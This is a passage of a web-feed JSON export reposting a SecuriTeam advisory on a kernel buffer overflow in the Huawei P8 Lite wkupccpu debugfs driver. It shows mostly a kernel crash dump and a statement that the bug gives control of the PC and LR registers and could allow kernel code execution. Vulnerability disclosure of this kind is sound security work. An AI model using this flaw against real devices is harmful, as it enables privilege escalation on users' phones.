class=\"crayon-v\">ffffff80<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-62\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461787s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-e\">fe80 <\/span><span class=\"crayon-i\">ca41e3c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000007f<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-63\"><span class=\"crayon-cn\">000843ac<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffffffc0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000000c9<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-64\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461970s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-e\">fea0 <\/span><span class=\"crayon-e\">ffffffff <\/span><span class=\"crayon-i\">ffffffff<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-65\"><span class=\"crayon-cn\">94c55204<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000007f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">9a260cc0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000055<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000000c9<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-66\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.462153s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-e\">fec0 <\/span><span class=\"crayon-e\">ffffffff <\/span><span class=\"crayon-i\">ffffffff<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-67\"><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">9a265678<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000055<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-68\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.462336s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-i\">fee0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000000c9<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-69\"><span class=\"crayon-cn\">9a265740<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000055<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">94c97e18<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000007f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">9a265778<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000055<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-70\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0182 seconds] -->  <\/p>\n<p>This results in a full control over the Program Counter (PC) register and the Link Register (LR), whichcould lead to code execution in the context of the kernel.<\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3580\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image005-1-219x300.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 17 Dec 2017 07:24:49 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes a buffer overflow found in Huawei P8 Lite ALE-21 HI621sft, operating system versions EMUI 3.1 &#8211; wkupccpu debugfs driver. Huawei Technologies Co. Ltd. is &#8220;a multinational networking and telecommunications equipment and services company, it is the largest telecommunications equipment manufacturer in the world and the second largest smartphone manufacturer &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3580\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Huawei P8 wkupccpu debugfs Kernel Buffer Overflow<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[12033,11946,10757],"class_list":["post-10866","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-buffer-overflow","tag-privilege-escalation","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10866","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=10866"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10866\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=10866"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=10866"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=10866"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}